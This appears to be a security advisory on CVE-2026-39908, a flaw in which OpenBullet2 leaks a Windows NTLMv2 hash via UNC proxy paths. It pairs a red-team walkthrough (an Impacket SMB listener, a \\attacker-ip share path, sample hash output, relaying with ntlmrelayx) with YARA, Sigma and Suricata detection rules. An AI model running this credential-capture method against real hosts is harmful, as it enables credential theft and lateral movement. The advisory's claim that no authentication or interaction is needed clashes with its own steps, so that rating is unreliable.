CVE-2026-39908

Executive Summary

CVE-2026-39908 is a credential disclosure vulnerability in OpenBullet2, a web-based tool for penetration testing and automation. The flaw resides in the proxy source configuration mechanism. When a user configures a job to load proxies from a UNC (Universal Naming Convention) path pointing to an attacker-controlled server, the application automatically attempts to authenticate to that server using the Windows SMB protocol. This leaks the NTLMv2 hash of the process user's credentials. The vulnerability is exploitable remotely without authentication, and the captured hash can be relayed or cracked offline. The vendor has not released a patch as of the latest analysis.

Supply Chain & Package Security

OpenBullet2 is a .NET application distributed via GitHub releases and Docker images. The vulnerability is inherent in the application's codebase, not in a third-party package. However, the use of UNC paths in configuration files introduces a dependency on Windows SMB behavior, which is a system-level feature. Users should verify the integrity of downloaded binaries and consider running the application in a sandboxed environment with restricted network access.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The attacker only needs network access to the victim's machine.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication.
• User Interaction: None (UI:N) – The victim does not need to click a link or open a file.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality: High (C:H) – The NTLMv2 hash can be used to compromise credentials.
• Integrity: None (I:N) – No data modification.
• Availability: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for credential theft and lateral movement makes this a serious concern in enterprise environments.

Deep Dive & Mechanics

The vulnerability exploits the Windows SMB authentication mechanism. OpenBullet2 allows users to configure a "proxy source" for jobs, which can be a file path or a URL. When a UNC path (e.g., \\attacker-server\share\proxies.txt) is specified, the application uses the System.IO.File.ReadAllLines() method or similar to load the file. This triggers an SMB connection to the attacker's server, which then captures the NTLMv2 hash of the user running the OpenBullet2 process.

Technical Flow:

1. Attacker sets up an SMB listener (e.g., using Responder or Impacket).
2. Attacker configures a job in OpenBullet2 with a proxy source pointing to \\attacker-ip\share\proxies.txt.
3. When the job starts, OpenBullet2 attempts to read the file from the UNC path.
4. Windows automatically sends an NTLMv2 authentication request to the attacker's SMB server.
5. The attacker captures the hash and can relay it to other services or crack it offline.

Root Cause: The application does not sanitize or restrict the proxy source input to prevent UNC paths. Additionally, it does not use secure file access methods that avoid SMB authentication.

Vulnerable vs. Patched Code

Vulnerable Code (OpenBullet2 <= 0.3.2):

// In ProxySourceProvider.cs or similar
public string[] LoadProxies(string source)
{
    if (source.StartsWith("http"))
    {
        // Download from URL
    }
    else
    {
        // Assume local file or UNC path
        return File.ReadAllLines(source);
    }
}

Patched Code (Hypothetical):

public string[] LoadProxies(string source)
{
    if (source.StartsWith("http"))
    {
        // Download from URL
    }
    else if (source.StartsWith("\\\\"))
    {
        // Block UNC paths
        throw new InvalidOperationException("UNC paths are not allowed for security reasons.");
    }
    else
    {
        // Only allow local file paths
        return File.ReadAllLines(source);
    }
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Attacker machine with Python and Impacket installed.
• Victim machine running OpenBullet2 on Windows.
• Network connectivity between attacker and victim.

Step-by-Step Exploitation:

1. Set up SMB listener on attacker machine:

   sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support share /tmp/
   

2. Configure OpenBullet2 job with malicious proxy source:

   • In the OpenBullet2 web interface, create a new job.
   • Under "Proxy Source", enter: \\attacker-ip\share\proxies.txt
   • Start the job.

3. Capture the NTLMv2 hash:

   • The attacker's SMB server will log the authentication attempt.
   • Example output:

     [*] Incoming connection (10.0.0.2,49158)
     [*] AUTHENTICATE_MESSAGE (DOMAIN\victim-user, VICTIM-PC)
     [*] User VICTIM-PC\victim-user authenticated successfully
     [*] NTLMv2 hash: victim-user::DOMAIN:1122334455667788:...
     

4. Relay or crack the hash:

   • Use ntlmrelayx.py to relay the hash to other services.
   • Use hashcat to crack the hash offline.

Blue Team (Detection & Defense)

Detection:

• Monitor for SMB outbound connections to unknown IPs on port 445.
• Alert on UNC paths in OpenBullet2 configuration files.
• Use Windows Event ID 4624 (Logon) and 4776 (Credential Validation) to detect NTLM authentication attempts.

Defense:

• Block outbound SMB traffic (port 445) to the internet.
• Use Group Policy to restrict UNC path usage in applications.
• Run OpenBullet2 in a sandboxed environment with minimal network access.
• Apply the principle of least privilege to the process user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound SMB traffic (port 445) to unusual IPs.
  • SMB negotiation packets with non-standard session setup.
• File IOCs:
  • OpenBullet2 configuration files containing UNC paths (e.g., \\*).
• Process IOCs:
  • OpenBullet2 process (OpenBullet2.exe) making SMB connections.
• Registry IOCs:
  • N/A

Detection Engineering

YARA Rule

rule CVE_2026_39908_OpenBullet2_UNC_Exploit {
    meta:
        description = "Detects OpenBullet2 configuration files with UNC paths"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-39908"
    strings:
        $unc_path = /\\\\\\\\[^\\\\]+\\\\[^\\\\]+/
        $openbullet_config = "ProxySource"
    condition:
        $openbullet_config and $unc_path
}

Sigma Rule

title: OpenBullet2 UNC Path Credential Theft
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SMB outbound connections from OpenBullet2 process
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39908
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\OpenBullet2.exe'
        DestinationPort: 445
    condition: selection
falsepositives:
    - Legitimate SMB file sharing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 445 (msg:"CVE-2026-39908 OpenBullet2 SMB Credential Theft"; flow:to_server; content:"|00 00 00 00|"; depth:4; offset:4; content:"|ff 53 4d 42|"; distance:0; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block UNC paths: Manually edit the OpenBullet2 source code to reject UNC paths in proxy source configuration.
2. Network segmentation: Restrict outbound SMB traffic from the OpenBullet2 host.
3. User awareness: Train users not to configure proxy sources with UNC paths.

Long-term Fix:

• The vendor should release a patch that validates proxy source inputs and blocks UNC paths.
• Implement secure file access methods that do not trigger SMB authentication.

Workaround:

• Use a local proxy file instead of a UNC path.
• Run OpenBullet2 in a Docker container with minimal network privileges.

Valters IT
DevSecOps & Cyber Threat Intelligence